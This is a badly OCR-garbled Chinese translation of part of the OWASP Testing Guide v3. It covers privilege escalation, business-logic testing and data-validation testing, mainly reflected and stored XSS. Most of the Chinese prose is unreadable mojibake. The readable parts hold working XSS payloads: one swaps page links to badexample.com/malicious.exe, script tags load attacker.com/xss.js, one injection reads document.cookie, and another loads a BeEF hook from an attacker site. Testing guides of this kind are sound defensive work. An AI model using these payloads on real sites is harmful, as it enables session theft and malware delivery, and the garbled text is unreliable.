Blhn, e AddUser.jsp FIDh BE A TR P48 B3 e B — 05 70 I ELIE R 35 ST 1 94 1k B 15 ) IX S D g -
https://www.example.com/admin/addUser.jsp

HROK, SR AddUser DhBEMT 237 £ R I HTTP 353K«

POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com

[other HTTP headers]
userlD=fakeuser&role=3&group=grp001

WRARE B B 7 SR PATIR — BOR AT LS 0L ? SR S QUEH T RGEIRRE, OB R A Al DU A
LG RRAAL?

IRA LSS AN v £ €8 1) FEUR R B
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W, A3 — AN H S AR R B S ARG PDF SO — AN N FIRER . % documentABC.pdf HAE A
roleA [FJFH /" testl Vi in). B iF4T roleB ¥ H ' test2 &5 AE 7 1Al st 25 5

AR

SRR HE P AT B R RS, BRI A B B3 1 R

5%
TH

e  OWASP WebScarab: OWASP WebScarab Project

4.6.3 FEBLNEL (OWASP-AZ-003)

KL

AR I MRFBEERTT R ) N REEI . AESEB B, DI ZERA A AN T BEAE N R P9
AR BT ety LB S A SRR B/ A G

Ir) AL 4 34

ARG LI B 2 (R B IR B D REIN A 2 TR T N IR P A AZ LSRR T /508 . HE R i T
IS PR A7 AR T 3 B0 T RE A ER BT e G5 R0 I R PP AT B A I A OB BT A 3 B 846 B 5 20 i
{BpaE

THR IARE S B T Ty 2 S BOERAS R SRR AN R R P Sl e BESRAS FOBC PR o B0, Ak P B 65 Ja FAR A I
BURITH AR B A A B, RO A 5 C2RAT T8 (R R I 2 AR BOA T AT S0 T SR A B 2 ) 1
B AR AT B AR T

WHEOUR, EETHPOLIRI LB A E 2R AU BRI (o, JRAF N IR A BB 5 TR T2
P I IRA AR IR (R BE I (B, A MELRAT NIRRT, SRR ERD .

PRI 5 1
/R AR

FEN IREP IO A 2 i, R AT ARSI e rp A5 & (ldm, ARk B9 R AN s WeaifE &
CMR RS ITHPENE S BUMBRAEE GIBRAI o BRSSPy e Bl sk e Tfg . MNAEH] 53 4k — A4
P25 X LD g . Bl S REREN S HTA O /BRI ANREREA I D BE. (HAVRIE - VD .

a0, SIOfY HTTP POST fi4F )& T grp001 ¥ H 7 1T 5 # 0001
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POST /user/viewOrder.jsp HTTP/1.1

Host: www.example.com

gruppolD=grp001&ordinelD=0001
TRAAE T grpool (K 25T LUE L “gruppolD 'l ordinelD ') 2 50 fE M 52 BUX — A 3 .

i, T THTFR AR 55 s A [ 2 s AR R D IR TR JG - HTMIL HH R [R5 T AR B 7 BL o

HTTP/1.1 200 OK

Server: Netscape-Enterprise/6.0

Date: Wed, 1 Apr 2006 13:51:20 GMT

Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1l5fT7Zz; path=/; domain= www.example.com
Cache-Control: no-cache

Pragma: No-cache

Content-length: 247

Content-Type: text/html

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Connection: close

<form name=“autoriz" method="POST" action = “visual.jsp">
<input type="hidden" name="profilo" value="Sistemilnf1">
<body onload="document.forms.autoriz.submit()">

</td>

</tr>

?

pi

T SRR R AR S R profilo BB Sistemilnf9 7 4376 K FEWR 2 IXFEIE 3 A 1T REACA 5 31
it
FE NPT, RS ik —MHHRE R, B8 —EF XA PR e S H P .

@0°1°3°37°0°UC 1"Status'OK'SEC'5°1°0"ResultSet'0°PVValido™1'0°0" Notifications'0°0°3"Command Manager'0°0°0" StateToolsBar'0°0°0
StateExecToolBar'0°0°0°FlagsToolBar'0

kS APt e P B 5 AR . e U PR R R RPN AR e EIRXAPE LR, AU A B M2
FAEATTRETH AR o FEIX—HERR B 7, W PYValido fH'M -1 MESUK'0 " CEATETBEIRGL) , whT el LU
HH G5y i i 55 4 B E

B R:
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e  Wikipedia: http://en.wikipedia.org/wiki/Privilege escalation

TR

e  OWASP WebScarab: OWASP_WebScarab _Project

4.7 k5512 48 ik (OWASP-BL-001)

1 2

B IEANAS Web BIFRLFA AL A IR AT A M0 B4 472 1A, IR R B
SURIUPR 1,0,3 BATHE, W LU 1 B TLBERRE B8 3 26 R A S REIONOL? ZE IR Tol, o
PR RADEIET TR, e, SRR 500 HRATA? BB, R
“BREAEIORIAE" o TR BRSO, 05 A ROBA I 2 B A . I FLISCR)
H (IR LA LA R DI OISR BURF SR  A  FRR P T 4

V&g 25k iE
o MAMNLSSBOREME SR (AnIRIE. s, PiiE. Mks A i)

o ANTAEATSS IR IEAE B, BSOS NN EE (DA ADNRIERS) BB AN EER
TAEWL R,

IR P Bl 55 12 A S AR . MELLZRREAY, T HLJd R e E N R

i) LA 3

N5 IR AT REAFAE 2 AU, SR VERL T B 2 S5 DT SU VR e . B, SRR A 1000 30T, Kb
AT REME ] R G F R T 2 (R e 2 6 T b 95 I BELrp A% SR 8 MU, (EL i m] AT X S8 o 5
R AT UG AT A B WA T I S 2 (B, W TR PP 3 A I Sl 55 IR AR 7

Hah A T RARMERE AR Y. DAL, B HOGR T HAT XSGR N o BN P17 Ul ] 1 el B A Eh e« T
fE B, RN 2 QU “RLAT RS AR, T DTN RS P IR SRS M 2t o 35— M7 — M I 24
B, AR AR ECE R RGN G2 D R S BN IR . GFEEE, R2 MERSE Mk
(KIR HRBIENA, B DOFANEAT BOERIBAAT T2 MRS AT IR

Mk 55 F FRATFR
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14075 FE N R P S (1l 55 DO RE RN o 2 5 R AATTIRIAT A7 AE A A B PR BINE 2 25 FE 2 77 I FH R Py s kAT 3%
SRR o RN S5, I L ARIE T AR 2 PR BN AN 3 1 00 LA IR S PR o S SRARAE — A28 =7 I
W, LR A AN RAE IF HA 1) Ml 55 5 MRS A N AR R P SR I, AR AR SR N R R
L IR IFRANRE e TR R AR — AN 5T AERRFPIG DU, ARER T ik % e R, IR AT
PAAE BRI 4h 2 i S b 1 A S P R (KR BRAE AT AR DR . Bedh, W SRonk N ZhRgieAr e RE i, (R mr g
M5 B TR E B ARG DL, IR K45 SR AT T B

# 1.

A2 FLT T 5 R it (K SO B B, IR T DL S SO NS 4R o DU N RE 7 SR VEAE ) 4 e
Bt N 1 Tn) LR SO AT BE A ) BB B

B 2.

T3PS SR I 1 S BRI UR DA R b 2 7 B A P B e L B o Wb 2 PR P A il P 4R 8 T ARA T 11
ACH CEZNHEENLD W TGRS RS Tl D ISX IR I, A% /446 T AT
UM AT o IXPIANIK T R LBIEANFEBRZON 7 A aT AT, 55— Rl (i, 222 ]
DIHEAERR A S A IR A4S . M B QI AN, st Al A AN OGR4 . TR R
Honl AHULIG . it dn SRS B — NI % 7 "Spacely Sprockets” ELLQUIE T AR, B X eI K4 7RE
L 115 A 116 o BORERERAE, WURGTE S SN PIANIK T TR T 440 117 A 119, IS KT LMEE 5 Al
EELAGNE TN 118 B IR

RIAFAERNL S AR I, TR BBt A NSRRI NG Bl s sl A 5 AR 4 (B E R
I POST WERALAN) o SAMEERE, RXASEUETUHULE) (e s S o JHRissg 1) , Xl LR
IR NI L 4

TR T MR AR I OF T 0T R iR B n ATt nT BE WA TR P (i . BESR o0 — K vl i 7 ik
JUAT LB ISR (Bl By 18 I 4D IR LA BAEIE 5 A AT E SR K™ o XA AT A
P S B ) R B XA Qs e, JEHI 4408 120 o WERIRATE SOXAS B @I Ak 7, AT Re
SOREATE 5 K S EOFIAT N R R K . RIS AR, a8 AR SAE SO I 2 5
A NIFEF o AR P BB BT, PR AUk 118 GEEM ™4 118 JEAEFIASIK ™ N A BL

M. MEET AN —DRFD . 8L 118 H KA Rt NS A R MIERIFIMAZIBATI 2 7] o AR A Al
Wi: 55— T 118 HI P ABEEARRANIK S, 2 SBIRLN XA RS (BOAE H AT S 2 R E JATH 2

") . M, mTIRKSELETERAIAF, FATBEW UG RHZH ) I e — 820 5 (BRI e

AT BT, REEE) o MR RSB R Gl MRS D, HRAT
MILZ X AR AR ZH 2GS TR AR PO ERAA A R AR A 42 5 s T H
HEEANMI T B A ], BT DUERE ™ 4 SRIR B 2 T BB T 1A #

DUERRA BB BBESFr s A AN B, A 113 TRG, 10 114 FERATA A ST 44 . Wik
AL fuzzer BANREL EHI St CEIME AN R R ™ 44 AR BAIETE SR ) A HT IR AR SRAERE 7 44 A 0 s 21
112, REFERAM XD ? WER I eI — 0, L BATH 2 7B 113 ASFnk ), Jeh et &4
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K Biltn, DHERAZ 48D .

IEWRET A 2K, 55125 2 A2 i 10T 5 8 4 0 R DL o] OGS B A A S AN Bl SN IRy
PGB K RN 158, TT ARG POST TR 1 EARARA I T AT (K 8dls CReapl i ™ 400 AT 2, Dk il TE
Wb PRAE 2 1B AR S5 d i B X S Bt . FLK, N TR P BOA B AL 8 T — A J RO ™ (0 S A R /4%
B Th A h GXFEL T /24 cookie) SEFR TS [d]— A REA M 1D, B, %N @ e A 7ER
T — B AT 21 A A OB TARA D 10 NSRRI Z
Fom PR IZ AT 1D R ILEE RS 2 AT T A ]

REGIRoR TR TR, TP EER . UL S QE M YE Ja g ST R R 28 58 F 345 AR & o
{EARDREN RS, FATDEREATIEMEZE MG, A8 R Bl B AN T 12 38 0 7 s (KA AR B AN

PR B S
IR R I R IR AT REAIZ T — T TEAR, AERRIRATAT LAl S AT RGENER) T AF . LT 2@ WU
o TRV
o OUEIZARNINAT 200 I hn 2ot
o BOZAHINK
o FRUERISEERIAF
o HUTZAIIK
TN AEF
RN B N IR 2 B B AT B 2 F . NBUR LT
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o wRIAF
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o LARVRE. TWEARFZARM, EANLSESAAEFZ A Flin:

o

o

i QI Ak e
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o AR AT
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o TAEAR
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o AFMBAERERTT GEHER, A MIBE CnEA TR Sales 2 sibr%ilId (Bt A AAT
BEFIIN s T4 A5 S LA S i) o
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o ST E AR KT I RR-1Z Y TR SCVRAN IR T o628 B (Bt ™) P AR IR o FRATH 2T
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o  EPWBIE—EHITA R I R AN AL . B, BRIk AT b A R T B e L

Gl WTBLRIZEEAE R AIN, < F P EIR AU U .
FRAE I SRS
W, A RUE A B AL
o QAR IR
o BN IR b A S L S5 B/ AR R
BENRAIAT
A ZHE I T B LR LA
o JETRIZHNRAT I T HZ AL TS TE XS HTTP / HTTPS 18 K BEAT 43 #7
o Ky HTTP/S i K M7
o FRFLEBIFM T B RPTFE. AWTFRSHHK
o R O 22 A B A S
o HAZIA B R R
HSLEH

O T AR S TR AN ) LR A e S AT, BATIA R S35 R AAE 2006 AR ELSE B, XSS
& AR MEFAE 2006 SEREATIHEPAER . 2, B fFeE T (EUEN FlawedPhone.com) X% )&

T — DM+ S RS (webmail+SMS) , B85 UL R A

o CHIEIEIZ—A SIM KRR T 844 K flawedphone.com 40 3% 7K A HEL T Ik

o HMEEPUEISIM EEEALE S AR, TR YR

o fHJE, HESIM RN T FlawedPhone , HEHCE] L1~ M IR ™ #8 S e 2106 35 A A AT ISP 2 R A R4

o SMS W HIFEF AR FlawedPhone % /7 44 L RIAKS 75 H AR LG S 2 R GV - %% 7 44 5k 8 /)

Bl SRk

N MU Bt 2 AT AN, (R EAFAENL S5 12T . (AL FlawedPhone R B A VB 1) H A

o Wi KT 5K FlawedPhone ¥ SIM

o Bl SLANESRRE SIM REERE EI 5 — MBI E 1, {HAE FlawedPhone SR EIHE(E Hi 23 3k15 0.05 €
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o HSIMRHE “HR” BURNEEE T, BRI AR ELL U T B £ FlawedPhone [¥HL B
ik

o {F email+SMS N R HE BT HL R S 4 O VR SR IE T, SR 2 AT 8 /NN TN A
o FIRANEHE, EREH OSSR~ 50-100 €, JFIFUGTE eBay i
TERA N, AF 8 /NI AR 3 I A5 257 AR SO S TE () A . AR 1A 5 8 2 IR A g Bodi T gtk . 1 gk

T I, AL HIZR )™ 44 B R] 20 I ) Dk Z 0 2 I TR) A A S S AF RO B R ), B80T R eI, IR RIRORE
P BRI o

o

7

HEH

= Business logic - http://en.wikipedia.org/wiki/Business_logic

= Prevent application logic attacks with sound app security practices -
http://searchappsecurity.techtarget.com/gna/0,289202,sid92 gci1213424,00.html?bucket=NEWS&topic=302570

TR
= A TR OIS RIS . B, TRIERAIE K A E S BUE A EVER, B LA Jh i it
B 5% ) R A A

B LR M S (BB B T P RER SR R RE G A 7 5 i ) B B T 4 SR K o il s XS TR AT B SRR
PR BRI A AR B 7B, AR 22 DL SR PR AT SR o AR A 0 W AT AT LR A SR o TSR D B8 2 80
AT, B LA% T AT LA A WIS ) 7 BE A (A e 2 ) i (R B B0 o I At mT LR A5 28 AT L 5]
LAGRL 2 ) b I BRIl o 0, FERIA I SRR ] 1o, DA At n] DA e R A i e e MEAS 18
HIBR e AR LG 20 i (R B B A 5%, Al BARSE T — AN IoRAS I S R o XA BZ TR
i ZEASTIN AT 55 JE B0 AP it P BRI (ARG MR e ) X @ A K -

4.8 s Ko ik Ik

web SV 55 5 WL I 2 A 4T AN BEAE AT T LA B Aok B 25 )7 i s S B - X35 U LP- S 20T BT Web M
FIREP I B2, e BB, sQUIE AT, RREEEALGE . locale /Unicode it SCAF R GEUGE A
G DR Y

YA NAZATR K E AN S AR 7 o i Bt DRk Mot al UME R OX 2854 .- Michael Howard 7E Al )25 4T
“Writing Secure Code ” HHii“IIATHIN " o XGRS 4N, SR, RN AEEAT KEISA R, T
N GUAE L g i AT I R

FEATE T, TATIHR AN DA W] R AT, DU T i R o 15 7 A P iy e 2 98 ik g A K
B

192


http://en.wikipedia.org/wiki/Business_logic
http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570

OWASP iR FE T v3.0

FATRE s Bk I kel 73y BAR 2531
Bt RIS (9

TEFs A C XSS ) I, FRAITNNKRE SR AN P SHE AN, T2 Ak Emt . YN HBEF A
SO UEE N I AE A T R - A e, FRATTERE R XSS il o bR 2 e AR S R e . i, SIS R
(N41% cookie ) BRI HIRZFEH N WS, — MBI HIA L 772041 F: Input -> Output == cross-site scripting.

fEAdRT, FE NG T B A AR A

4.8.1 Sl JHIAS S Sl (OWASP-DV-001)

4.8.2 5 i AL i Il ikl (OWASP-DV-002)

4.8.3 Iyl IA DOM i (OWASP-DV-003)

4.8.4 FLASH 5 3l Jl i (OWASP-DV004)

4.8.5 SQL yi: \ (OWASP-DV-005)

SQL VAN MBAAS I A2 75 A 1] RER E e N BN R P, DA Be A0 e b B0 e b AT H P 43l i) saL Axify. Wil
N FH AR A6 A 1 2 30 U B I D0 N R R P s N B saL A, I8 LU BN R P AEAE sQL i N . T
FI X — 28 ) ) ) 25 T BURFABH 7 U7 o) BB VR e b 88 . iR, MBI ARR T AR 05
7. SQLVEABL 7 R Input -> Query SQL == SQL injection

sQL AN — D4 53N -

4.8.5.1 Oracle iz

4.8.5.2 MysaL JIlik

4.8.5.3 SQL Server MR,

4.8.5.4 MS ACCESS Jlijizt

4.8.5.5 PostgreSQL ik

4.8.6 LDAP y: \ (OWASP-DV-006)

LDAP 1 AMHAZEALT saL A MNR . ANFZ AL T FA A Z A saL 12 H LDAP P, [ty H Ax 2
LDAP %5 %%, 1MiAJE sQL Hk%5#5. LDAP {1 AJi 53X F: Input-> Query LDAP == LDAP injection

4.8.7 ORM 7% A\ (OWASP-DV-007)
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https://www.owasp.org/index.php/Testing_for_MySQL
https://www.owasp.org/index.php/Testing_for_SQL_Server
https://www.owasp.org/index.php/Testing_for_MS_Access
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
https://www.owasp.org/index.php/Testing_for_LDAP_Injection
https://www.owasp.org/index.php/Testing_for_ORM_Injection

€

ORM JE AR FIFERALT sQUiE A fERXAEILT, AT sQLIEATL ORM 7 A i Uy [ 6 S
MR R, X R Bt JLFA sQL i A B AR IR SR, ARES P AE 7R 7 NI 2 B ORM R A 11

4.8.8 XMLy A\ (OWASP-DV-008)

XML 7 AR I 757 T I PR B P A A XML SO . 1SR XML R0 S B 0 (T (T 5l T8 41297
FUFAELE XML TE IR XML FEA S 77 F

Input -> XML doc == XML injection
4.8.9 SSI J£ A\ (OWASP-DV-009)

Web 55 @38 W ik T A E AR A HTML TR i N Sl as AR, T AN 0 Ak B 4o i P I 55 i 502 i 1 5 IR S5
A CSSID) FEANREMS MBI —H5 (0. SSLIE A BUR IN i 7547 T BEAE N IR e Py N SSI LR R ) Kot »
% R Y LI I 5 RS A ARSI N2 HTML B 50, LA e e AT AR

4.8.10 XPath y£ A\ (OWASP-DV-010)

XPath 2 EF X 2> XML SO BT A R TG 5 o XPath 3 NSRS P& 75 7 nI REAE R IR i vy AN Bdts LA
AP ) XPath B o Boeks B I IXAS 2 i i 9 B 6 SE I RN L BUR SR BORIUE B

4.8.11 IMAP/SMTP 3\ (OWASP-DV-011)

XA BT AT S RIS 28 (IMAP /SMTP ) JERZI N HFEE, T8 % 2 Webmail N HFEF . H TN HE
FIIAE, IMAP /SMTP {3 A BIRAS I & 545 7] GELEHBAF IR 25 4% i AR IMAP / SMTP i34 . —1~ IMAP /SMTP i
AN TR

Input -> IMAP/SMTP command == IMAP/SMTP Injection

4.8.12 Code £ A\ (OWASP-DV-012)

AR N U I 75 A ) REAE N TR P rP i A G 1l web JIR 55 28 SAAT AR .
AR E N B (197 3 h

Input -> malicious Code == Code Injection

4.8.13 0S 1% (OWASP-DV-013)

FEAT NN, FeAT ki HTTP 35 SR N AR e N 08 4.

BAE R G AT SV E AT A

Input -> OS Command == OS Command Injection
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4.8.14 ZZ X %5 H (OWASP-DV-014)_

FEXEEP T, ARG A RIS AL B G2 b DX ik IR o« DR & WL 0 gz X it ks ] 0 Pt 7 vk«
4.8.14.1 i

4.8.14.2 tiii

4.8.14.3 FRF &L

g b X v Bk R

Input -> Fixed buffer or format string == overflow

4.8.15 W% & Js M1 (OWASP-DV-015)

7 DA 5 2 A e B e T A A R 2 I, 5 AN DA A s B R A%

FERF—N R R, N TR PP I AZ AR AR AT Ak B LB B s BEAT I . JRATTAIINS H AR B e v 2y
by FAR AT AT T BRI HAME RIS A -

4.8.15 HTTP -Splitting/Smuggling Ji&,_ (OWASP-DV-016)

AR TR —AS HTTP JF&, #]4n: HTTP Verb, HTTP Splitting, HTTP Smuggling.

4.8.1 S S 20 il A I3, (OWASP-DV-001)

| ik

S st gl AT T (XSS) A ARFF A MRS S BIA G 1K) 53— DN AARR . IZBG A AR IR Web [ R
B HMEH 2 H B BARERL URL . RSO web N HRE > A i3 17 (1771

|
RSB A B U M 1 S R S A S B TS S A S

) Web N IFEFAEAE 2 % BIXA SR IR I, B2l ARG IR Bl W5 SRR 4 5 i 5 WL B Tk
QAT F QPRI EOEE URI BT R iR 32 E A e s b ingk 7 1% URI AR TP 3R, AL 32
EUNINR 2SRRI S TP

LR B ARRD 2 JavaScript 155, HW S FIMATES, #1U0, ActionScript I VBScript.
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€

Bt T H N ADZ L R 2 B L ks . BT H A (1 cookie  DFHRBIIMGMR A BTN (Biltn, F
WEERD .

HRAH BBk AR — N EEHDE PR wMIT. RSN T, Web IRE238 Web W H TR Ikl g — L7
Frgid. Biltn, Web NPT RESIERE “ <script> 7, (HARETCIEIT IR AL H B gt bR 21 % 3cscript % 3E.
IR TR gm s AE 3 4 1) T2 2 OWASP ) CAL9000

LS RllRmS
R 2 FE = AP B
LR A . A E Web N REF AR R, IR web NIRRT AN . IR I
2. ST RE AN R RO AP AE (R o A XSS IRl I, UK T 20 RS 1] R AR A R i A s
PP NS0 S EN, (B 5 R R IIIFK web 3 S5 354 ) M . FIE R H A4 Web N 2T fuzzer A
L7 A AR

30 T AR AN B Be SRS IR, R R 2 AR SR 5 R B i 2 i o 20 web BRI
B A KR P R

B 1

B, Wk G A" Welcome %username% " I 3551

[Iél http:fexample . comiindex php?user=mMrsmith

We'come Mr Smith
Get terminal client !

http: ffexample. comftcclient. exe

[Iél http:fexample . comiindex php?user=mMrsmith

We'come Mr Smith
Get terminal client |

http: ffexample. com/ftcclient. exe

DRI SBE R — N Hds A N SR AT R S B s A St O T e briziieid, i 5 P AR B A BRI
KA izl . S PIREER, BRSKREL:
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http://example.com/index.php?user=<script>alert(123)</script>

WEREATHEAT I PR R 5 -

|'- ") The page at http:/fexample.com says: & &

ﬁ 123

IXRBALEAE A XSS Il o SR s T IR, A AEZEAT AT A R0 D 2 b A T b e B AR A
% 2
SR BURS (BB

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");

AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

5 MSS Testcase #1 - Mozilla Firefox

Ble Edit Wiew History Bookmarks Tools Help

[ [@] hitp:/fexample. comfindex. php?user=<script=window.onlo

Welcome
Get terminal client |

http:/fbadexample. com/malicious. exe

AR SRR, B S EOH P IR FH B RR ik R 25 malicious.exe X,
Xtk

W4 K24 Web IR ARG T M I i e (ER A L8 N RS PP R A A T o AT Wb g 2B L S 3y 35
PIATG s — A 55 i T DR P B webo B KBRRHLLE, 2 AR5 di R AE DA web P 58 &5 H A
FELLEATLAY
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€

T RZH R i AN BT s, WRAASGEFR B IX PPy 20, AT 1A Z0AE(E 158 Web 3] 3 28 AN 2 BH 1 E X
FIAT$E PR TR . (Freietal 2008 )

—~ web W HEE Web JIRS: 2% (i1,  Apache ) mod_rewrite #i5t) 0] LUEFUCECHEIN) 2235 ) URL A0 4 i JEFE FE . 191
0T T R T A Z AT AR SR A I CRABA L) bric m Ak £k A () R A

/((\%3C) | <)((\%2F) | \/)*[a-20-9\%]+((\%3E) | >)/i

R R B AT AN o AR RN I A B e R oI o 7RG, AR T LAV ) AR RS o0 i SR
DU A2 75 i) LLBE R

%1 3

N T R S AEAE R, A A VR 22 A ) . RN IR ) e e AN R e YERR S . A IR A B
. i, ﬁi&ﬁhﬁ?ﬁﬂ’]ﬁﬁ%:
<?

Sre = "/<script[*>]+src/i";

if (preg_match(Sre, $_GET['var'])) {
echo "Filtered";
return; }

echo "Welcome ".$_GET['var']." I";

>

TERXMMESLT, RIS A S SHmA T
<script [anything but the character: '>'] src
AU THI R W B

<script src="http://attacker.com/xss.js"></script>

X ERIRARATR . (B2, FERXMIGOLT, A7l BEAEIAAT SRC [H] ) Jd 1 Hh A "> 7 R S il i DR«

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

XA T BN i S S s sl BIAS I I . iRt JavaScript AU YR 132 F# 3l www.example.com JFA7 il fEX 5 ()
Web flid5ds, M 2R HAT 1A

SERE I A A5 ) 45— AN A B — L B A R 2 Fuzz vectors appendix F1 Encoded injection appendix)

W, IMTERSRFG I RN R AL AR AN R AE o 0 B R B A AR )
AT AL FE AR JavaScript.
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Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-
226229-0

Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley,
ISBN 978-0-470-17077-9

Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks:
XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

CERT - Malicious HTML Tags Embedded in Client Web Requests: Read

Rsnake - XSS Cheat Sheet: Read

cgisecurity.com - The Cross Site Scripting FAQ: Read

G.Ollmann - HTML Code Injection and Cross-site scripting: Read

A. Calvo, D.Tiscornia - alert('A JavaScript agent'): Read ( To be published )

S. Frei, T. Diibendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read

OWASP CAL9000: CAL9000 is a collection of web application security testing tools that complement the feature set of current

web proxies and automated scanners.

PHP Charset Encoder(PCE) - http://h4k.in/encoding This tool helps you encode arbitrary texts to and from 65 kinds of charsets.

Also some encoding functions featured by JavaScript are provided.

WebScarab WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.

XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

ratproxy - http://code.google.com/p/ratproxy/ A semi-automated, largely passive web application security audit tool,

optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant

design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.

Burp Proxy - http://portswigger.net/proxy/ Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web

applications.
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4.8.2 17t 2U IS 3l A I 3K, (OWASP-DV-002)

EL:

fit f7 NBS U A (XSS ) e P B B S A . SevF I AP A B 1) Web IR 3 AT R BE B Ak 21X S 24 )
Bitio ATASG L] T A7Aik 55 b BRI ASTE AR SR A 5%

i) L 4 ik

U2 Web [N FHRE 7 A 3 HT P AR SC 8. T 4 AN B0 A X SR A e i e b DA LUR AT, e 2 At s
i RIS o AP T AN B B 20 IR DE DR R S A R 6 — 20 T A web W HTRE BT 76
Jr A HIEAT .

A XA o] AT — R A T S s i Bty Herp s
o BRI I B A
o RN HIREFHI N A B
o NIRRT
o AEBENUm I CAE” KRR Web MHIFEH D
o LTI VS AU ) 5 1) A
o HHEEIGY)

(b A7 5 S AR AN R A e W SR )™ U ) A7 i XS sl A P 0T, IR L BT B s i M 1 AR
JUANE B 3] i JMf%FMW$K$TR

o NG R RS AT il 247 AR IR £ DT
o {ENHIFEFTRREH] T

o U AR R T

o BB AR A TR AN

A 2SR HESE, 4 BeEF, XSS Proxy and Backframe, [FIFER] DAREATIX PP o X SUHEZE fo 1 K E 2R 10
JavaScript Blili .

U SRR A B e R B NAE N IR o, T8 Ak A7 i A SEINAG o >4 58 B D3 U7 1n) A7 A0 3R T £ 0 I, 300 0 2
E S R K T G S T = = 2 5 0 S S SN PAS T 8 g
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R 3K S A7)

A

SB35 R S T AT L i N AP i 3 O 7 R P o o R B A 25 o A7 P i N ) I R 4817 AP T
o /MBI NHFEF AL P g E SO PR R, BT IR, BeRR. KR K. HihkAE
o VAW N ARV TEY) A ALk, SRS PR A
o SUMMEBEAR NHIRRFF RVFSCMF BAR
o NHRFICE/SHULEE: MY RV IR SR

SHT HTML ARAS

IS R A ik (R i N B3 E HTMIL ARC P, (HE R AT REAE JavaScript WA AR, FEXANBNE, JEATAE
TN AN S T A I F LA B T B R E A

f9l: {E index2.php 17 fift () Ei4 W AR

User Details

Mame: IAdministrator
Username: ladmin

Email Iaaa@aa. == l
Newy Password: l

Yerify Password: I

£0,87 B F BB () index2.php T HTML ARH5 A«

<input class="inputbox" type="text" name="email" size="40" value="aaalaa.com" />

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as
below:

<input class="inputbox" type="text" name="email" size="40" value="aaalaa.com"> MALICIOUS CODE
<l== />

T 1t 5 B A 1K
AR N R P T A BE / 1 JE R . EAVE ARG

aaa@aa.com"><script>alert (document.cookie)</script>
aaalaa.com%$22%3E%3Cscript%3Ealert (document.cookie) $3C%2Fscript%3E
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€

B ORIE L N IR PR AN o RSt 2 7 i 2 A, Tl 22 S EUE M JavaScript BUAEH] web A SRAZ X0 HTTP 3

3K, 41 WebScarab o i HTTP GET Fl POST i KM A —AMEAW o HEE ., AL R FEEH S cookie H
(%

Result Expected:

TSR
User Details
bare. e il The page at hitp://192.168.0.95 says:
Uszername: admin

[ 32024ddbfO0FS209405e22d62 Feaz 121 =diF7ec3dod3e7 al 22a060952e6 1 F3772;

Etnail: Iaaa@aa_.:gm [\ [5E2ff45805hoeh08eet2e2fanbl 33F0=4549F211ch2Fc201F 1 Fea0SSFham0aTe,;
mosthycelskartup_kev]=al4cefaz5ed1772b25aca3b0a54a1 1365,

miosthyce[usertyvpe ]=Super-+administrator;

37bb0aasS090deef 730fceb87 ad0be338=82eb5c2 73 1F7 1 3f 4e6c8859ebF 1478

TENJG R BTML AR 2«

<input class="inputbox" type="text" name="email" size="40"
value="aaalaa.com"><script>alert (document.cookie)</script>

BTN UL I P S A7 A A A AT 5 s AR

RS IR TN, BN D A2 I R i il AR o s o 90, n SRAE ] i o 7 17 R AR 4%
HiO“SCRIPT” , B LIX W2l A IR A S . W AVF 2 HoR P LLIR B N I D8 4% o AT 5 2t SO $2 41k
2 B vl A T MR S A1 K ) RSnake A1 Mario 5wt JAIAAE BRI 51, 8 245 RIS B KA/ TR

1 BeEF JT AR A7t 25 i JHI A<

SEHERY JavaScript JFAHESE, 40 BeEF, XSS Proxy Al Backframe, ] LA A7 Z0Es b A . filtn, HLHYf BeFF F)
i3 s a4

o IENBCARIE WA IT AMELL) JavaScript hook  (BeEF)
o CERPNHIRET A WO BT AR N IR Y 5T
o Id BeEF i & H N AR L IR0 B 2

T8 3 ) R FH AR 9 XSS Ul N JavaScript hook.

f4n:  index2.php ") BeEF {1\

aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script>
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M P MZ UL index2.php I, HE 2K AT A beefmagic.js.php. SRJG A BEBEIE AN cookie « P [ B 4k 4
FHP BTG, I R 2R H I sl A s

45 F T
Browser Exploitation -
bt &% 192.168.0.93
@ Details
Browser
BeEF Firefox 2.0.0.14

Operating System
Windows MT 5.1

Aqtorun Screen
Hizstoled 1152x864 with 32-bit colour
Zombies URL
@ 8 105.160.0.03 http://192.168.0.95/mambo3/administrator/index2 . php?option=com

Cookie

32024ddbfO0f5209405e22d627 ea21 21 =dff7 5c3ded3e7 8122406095
fEE2ff45885b9eh08eeb2e2fE80 1 33f0=454921 1cb2fc20 1 F1fe20 551
37bb0ass090deef? 30fcebs7 ad0be3328=699bdcad 1 1aa2dc59453dbs
mostyce[usertype]=Super Administrator; BeEFSession=6a3d2f4e38(

DORVEZ AL AN R BR U7 1) IX AR A T, 280t A 24
A A%

Wk web N IREF SRVFSCIF EAR, I8 X B2 B A AT T BE B AR HTML N7 i, WR SBVF HTML B txt
A, B LAESCAE EAR AT DAE NS A . BIE IR WAZ IR A% SO 7 fo v BEAT R MIME 282,

S AEI 2 FEDLUR ) HTTP POST 153K :

POST /fileupload.aspx HTTP/1.1
[..]

Content-Disposition: form-data; name="uploadfilel"; filename="C:\Documents and
